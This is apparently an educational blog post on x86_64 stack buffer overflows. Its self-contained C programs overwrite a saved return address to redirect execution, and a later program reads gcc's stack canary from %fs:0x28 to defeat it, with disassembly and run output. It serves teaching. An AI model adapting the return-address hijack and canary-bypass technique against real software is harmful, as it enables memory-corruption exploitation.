Blog

  • Hacking 101 – stack buffer overflows on x86_64

    Hacking 101 – stack buffer overflows on x86_64

    I won’t explain in too much detail, but the following code creates a buffer overflow that controls the return instruction pointer on the stack, changing the flow of the code into calling func2().

    /*

        compile: gcc test.c -fno-stack-protector
        run: ./a.out 4 (or ./a.out 2… greater than ./a.out 1)

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    //#define USE_CANARY

    void func2()
    {
        printf(“I did it!n”);
    }

    void func(const char *input)
    {
    #ifdef USE_CANARY
        long int canary = 0xdeadbeefc001d00d;
    #endif
        char buf[256];

    //    strcpy(buf, input);
    // cause there’s a null in the address…

        memcpy(buf, input, 256+8*8);
        // buffer overfl0wwwwwwwwwww

        printf(“buf: %sn”, buf);
        fflush(stdout);

    #ifdef USE_CANARY
        if (canary != 0xdeadbeefc001d00d) {
            printf(“Buffer overflow detected! Aborting!n”);
            abort();
        }
    #endif
    }

    int main(int argc, char **argv)
    {
        
        char input[1024];
        int loop;

        // fill up input with ‘A’ x 256 (leaving 1024-256 bytes left)
        memset(input, ‘A’, 256);

        printf(“size of func2’s pointer (in bytes): %ldn”, sizeof(&func2));
        printf(“func2’s address: %lxn”, (unsigned long) func2);

        if (argc < 2) {
            loop = 4;
        }

        else {
            loop = atoi(argv[1]);
        }

        // fill past the ‘A’s with a pointer to func2(), up to “loop”.
        for (int i = 0; i < loop; i++) {
            unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
            *p = (unsigned long) func2;
        }

        printf(“input: %sn”, input);

        // verify the func2’s addresses are actually inside the input buffer.

        for (int i = 0; i < loop; i++) {
            char *p = input + 256 + i * sizeof(&func2);
            unsigned long *q = (unsigned long *) p;
            printf(“address: %lxn”, *q);
        }

        // call func with input buffer.

        func(input);
    }

    Output:


    gcc test.c -fno-stack-protector

    $ ./a.out

    size of func2’s pointer (in bytes): 8
    func2’s address: 561e883a51e9
    input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q:�V
    address: 561e883a51e9
    address: 561e883a51e9
    address: 561e883a51e9
    address: 561e883a51e9
    buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q:�V
    I did it!
    I did it!
    I did it!
    Segmentation fault (core dumped)

    Creating our own Canary

    Notice if you compiled with -DUSE_CANARY, it uses our artificial canary, and will abort before the overflow exploits the return instruction pointer.

    gcc test.c -fno-stack-protector -DUSE_CANARY
    $ ./a.out

    size of func2’s pointer (in bytes): 8
    func2’s address: 562a98ea0209
    input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    �*V
    address: 562a98ea0209
    address: 562a98ea0209
    address: 562a98ea0209
    address: 562a98ea0209
    buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    �*V
    Buffer overflow detected! Aborting!
    Aborted (core dumped)

    Comparing with gcc’s canary

    Now if you look at a normal compilation, and check out the assembly using `objdump -D ./a.out`

    0000000000001223 <func>:
        1223:       f3 0f 1e fa             endbr64
        1227:       55                      push   %rbp
        1228:       48 89 e5                mov    %rsp,%rbp
        122b:       48 81 ec 20 01 00 00    sub    $0x120,%rsp
        1232:       48 89 bd e8 fe ff ff    mov    %rdi,-0x118(%rbp)
        1239:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
        1240:       00 00
        1242:       48 89 45 f8             mov    %rax,-0x8(%rbp)
        1246:       31 c0                   xor    %eax,%eax

            …. more opcodes ….

        … followed at the end by …

        12a4:       e8 17 fe ff ff          call   10c0 <__stack_chk_fail@plt>
        12a9:       c9                      leave  
        12aa:       c3                      ret    



    This is the setting of the canary and the checking of the canary at the end of the function, done by the compiler.

    The objdump without stack protector for func is:

    <func>:
        1203:       f3 0f 1e fa             endbr64
        1207:       55                      push   %rbp
        1208:       48 89 e5                mov    %rsp,%rbp
        120b:       48 81 ec 10 01 00 00    sub    $0x110,%rsp
        1212:       48 89 bd f8 fe ff ff    mov    %rdi,-0x108(%rbp)

    You can see the canary’s secret value is stored in %fs:0x28, and gets moved to register %rax, which then gets copied onto the frame pointer %rbp – 8 bytes, which is just before the saved frame pointer, and two pointers from the return instruction pointer on the stack.

    If you can leak the %fs:0x28 value, you can overwrite the canary with the same value during the overflow, and thus bypass the canary check.

    This is the reason why %rax is cleared (xor %rax, %rax), to avoid leaking the value in the %rax register.

    Getting the canary secret value from gcc via some means, and then using it

    Source code follows:

    /*

        compile: gcc test.c -fno-stack-protector
        run: ./a.out 4 (or ./a.out 2… greater than ./a.out 1)

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    //#define USE_CANARY

    unsigned long get_canary()
    {
        asm(“mov %fs:0x28, %rax”);
    }

    void func2()
    {
        printf(“I did it!n”);
    }

    void func(const char *input)
    {
    #ifdef USE_CANARY
        long int canary = 0xdeadbeefc001d00d;
    #endif
        char buf[256];

    //    strcpy(buf, input);
    // cause there’s a null in the address…

        memcpy(buf, input, 256+8*8);
        // buffer overfl0wwwwwwwwwww

        printf(“buf: %sn”, buf);
        fflush(stdout);

    #ifdef USE_CANARY
        if (canary != 0xdeadbeefc001d00d) {
            printf(“Buffer overflow detected! Aborting!n”);
            abort();
        }
    #endif
    }

    int main(int argc, char **argv)
    {
        
        char input[1024];
        int loop;

        // fill up input with ‘A’ x 256 (leaving 1024-256 bytes left)
        memset(input, ‘A’, 256);

        printf(“size of func2’s pointer (in bytes): %ldn”, sizeof(&func2));
        printf(“func2’s address: %lxn”, (unsigned long) func2);

        if (argc < 2) {
            loop = 2; // loop = 2 is the optimal solution for this case.
        }

        else {
            loop = atoi(argv[1]);
        }

        unsigned long gcc_canary = get_canary(); // get gcc canary secret value.

        // After the ‘AAAA’ put a gcc_canary for us. The space gcc will provide will be 16 bytes, so we just fill
        // it up with 2x canary secret values. (assuming loop = 2)

        for (int i = 0; i < loop; i++) {
            unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
            *p = (unsigned long) gcc_canary;
        }

        // Now put a pointer to func2(), at least twice (assuming loop = 2).

        for (int i = loop; i < loop * 2; i++) {
            unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
            *p = (unsigned long) func2;
        }

        printf(“input: %sn”, input);

        // verify the func2’s addresses are actually inside the input buffer.

        for (int i = 0; i < loop * 2; i++) {
            char *p = input + 256 + i * sizeof(&func2);
            unsigned long *q = (unsigned long *) p;
            printf(“address or canary: %lxn”, *q);
        }

        // call func with input buffer.

        func(input);
    }

    Output:


    gcc test.c
    $ ./a.out

    size of func2’s pointer (in bytes): 8
    func2’s address: 55ad7774c21d
    input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    address or canary: ac9d07067ff30500
    address or canary: ac9d07067ff30500
    address or canary: 55ad7774c21d
    address or canary: 55ad7774c21d
    buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    I did it!
    Segmentation fault (core dumped)